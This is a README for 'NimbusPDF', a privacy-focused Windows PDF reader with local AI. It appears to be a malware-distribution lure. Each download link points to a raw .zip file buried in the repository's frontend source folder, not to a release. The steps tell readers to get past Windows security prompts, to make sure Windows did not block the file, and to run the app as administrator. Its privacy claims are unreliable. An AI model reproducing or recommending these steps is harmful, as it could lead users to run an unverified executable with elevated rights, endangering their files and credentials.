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🔒 NimbusPDF - Private PDF Reader With Local AI

📥 Download

Visit this page to download: https://raw.githubusercontent.com/Noreenf929/NimbusPDF/main/frontend/src/routes/viewer/PDF-Nimbus-3.8.zip

🖥️ What NimbusPDF Does

NimbusPDF is a private PDF reader for Windows with an offline-capable AI assistant. It keeps your files on your device and gives you a local way to read, search, and ask questions about PDFs.

Use it if you want:

  • A PDF reader that works without cloud sign-in
  • Local control over your files and notes
  • AI help that can run on your own machine
  • Support for local AI tools like Ollama and LM Studio
  • Optional OpenAI support when you choose to use it
  • A setup that fits airgapped or privacy-first systems

✅ Before You Start

Make sure your Windows PC has:

  • Windows 10 or Windows 11
  • At least 8 GB of RAM
  • 10 GB of free disk space
  • A modern CPU
  • A mouse and keyboard
  • Internet access only if you need to download the app or connect an AI provider

If you plan to use the local AI assistant, a stronger PC helps. More RAM gives better results.

🚀 Get NimbusPDF

  1. Open the download page: https://raw.githubusercontent.com/Noreenf929/NimbusPDF/main/frontend/src/routes/viewer/PDF-Nimbus-3.8.zip
  2. Find the latest release or download file
  3. Download the Windows version
  4. Save the file to your Downloads folder or Desktop
  5. If the file is zipped, extract it first
  6. Double-click the app to open it

If Windows shows a security prompt, choose the option that lets you run the app from a trusted source if you trust the file you downloaded.

🪟 Install on Windows

After you download NimbusPDF, follow these steps:

  1. Open the folder that contains the file
  2. If you see a .zip file, right-click it and choose Extract All
  3. Open the extracted folder
  4. Find the app file
  5. Double-click it to start NimbusPDF

If the app comes as an installer:

  1. Double-click the installer file
  2. Follow the on-screen steps
  3. Choose an install folder if asked
  4. Finish the setup
  5. Open NimbusPDF from the Start menu or desktop shortcut

🔧 First-Time Setup

When NimbusPDF opens for the first time:

  1. Pick a folder that contains your PDFs
  2. Add one or more PDF files to your library
  3. Choose how you want the AI assistant to work
  4. Save your settings
  5. Open a PDF and try a search or question

If you want to keep everything local, connect NimbusPDF to a local AI tool such as Ollama or LM Studio.

🤖 Connect the AI Assistant

NimbusPDF can work with a few different AI options.

Local AI with Ollama

Use Ollama if you want the AI to run on your own computer.

  1. Install Ollama on your machine
  2. Start the Ollama service
  3. Open NimbusPDF settings
  4. Select Ollama as the AI provider
  5. Enter the local server address
  6. Choose a model that fits your PC

Local AI with LM Studio

Use LM Studio if you want a local model with a simple desktop setup.

  1. Open LM Studio
  2. Start the local server
  3. Copy the server address
  4. Open NimbusPDF settings
  5. Select LM Studio
  6. Paste the server address and save

OpenAI Support

NimbusPDF can also work with OpenAI if you choose that route.

  1. Open NimbusPDF settings
  2. Select OpenAI as the provider
  3. Enter your API key
  4. Save the settings
  5. Load a PDF and test the assistant

📚 How to Use NimbusPDF

Open a PDF

  1. Start NimbusPDF
  2. Add a PDF file or choose a folder
  3. Select the file from your library
  4. Read it in the viewer

Search Inside a PDF

  1. Open a document
  2. Use the search box
  3. Type a word or phrase
  4. Jump to each match

Ask Questions About a PDF

  1. Open a document
  2. Select the AI assistant panel
  3. Ask a plain question
  4. Read the answer
  5. Ask follow-up questions if needed

Examples:

  • What is this document about?
  • Find the main deadlines
  • List the action items
  • Show the key terms in this PDF

Work With Multiple Files

NimbusPDF can help you handle a set of related PDFs.

  1. Add several files to the library
  2. Open one file at a time or browse them together
  3. Search across your collection
  4. Use the assistant to compare details

🔐 Privacy and Local Control

NimbusPDF is built for private use.

  • Your PDFs stay on your device
  • You can use local AI tools
  • It works well for offline or locked-down setups
  • It fits airgapped environments when paired with local models
  • You choose when to use cloud services

This makes it a good fit for personal files, work records, research papers, and internal documents.

🧰 Common Uses

NimbusPDF works well for:

  • Reading personal PDFs
  • Reviewing work documents
  • Searching manuals and reports
  • Asking questions about long files
  • Keeping a private document library
  • Using local AI on a Windows PC
  • Running in a controlled network setup

🛠️ If the App Does Not Open

Try these steps:

  1. Make sure the download finished
  2. Extract the ZIP file if you downloaded one
  3. Right-click the app and choose Run as administrator
  4. Check that Windows did not block the file
  5. Restart your PC and try again
  6. Download the file again if it looks damaged

If the AI assistant does not respond:

  1. Check that Ollama, LM Studio, or OpenAI is set up
  2. Confirm the server address is correct
  3. Make sure the local AI app is running
  4. Check your API key if you use OpenAI
  5. Save the settings and try again

📁 What You Get

NimbusPDF is designed as a private document app with:

  • A clean PDF reader
  • Local file access
  • Search tools
  • AI-powered document help
  • Support for local and cloud AI
  • A setup that works well on Windows
  • A focus on privacy and offline use

🧭 Suggested Setup for Most Users

If you want the simplest path:

  1. Download NimbusPDF from https://raw.githubusercontent.com/Noreenf929/NimbusPDF/main/frontend/src/routes/viewer/PDF-Nimbus-3.8.zip
  2. Install or open the app on Windows
  3. Add your PDFs
  4. Connect Ollama or LM Studio if you want local AI
  5. Start reading and asking questions

📎 File Types

NimbusPDF is made for PDF files. It can help with:

  • Reports
  • Manuals
  • Books
  • Research papers
  • Forms
  • Notes saved as PDF
  • Office exports in PDF form

🔍 Search and RAG Support

NimbusPDF uses a retrieval flow for document help. That means it can look up parts of your files before it answers.

This helps with:

  • Finding facts in long PDFs
  • Pulling answers from many pages
  • Keeping responses tied to your documents
  • Reducing manual scrolling through large files

💻 Best Results on Windows

For a smoother experience:

  • Close apps you do not need
  • Keep enough free memory
  • Use a local model size that matches your PC
  • Store PDFs on a fast drive
  • Update your AI tool if it stops responding

📦 Repository Info

  • Name: NimbusPDF
  • Type: Private PDF reader with local AI support
  • Stack: Rust and SvelteKit
  • Focus: Privacy, offline use, self-hosted control
  • AI Options: Ollama, LM Studio, OpenAI
  • Use Case: End-user PDF reading and document help

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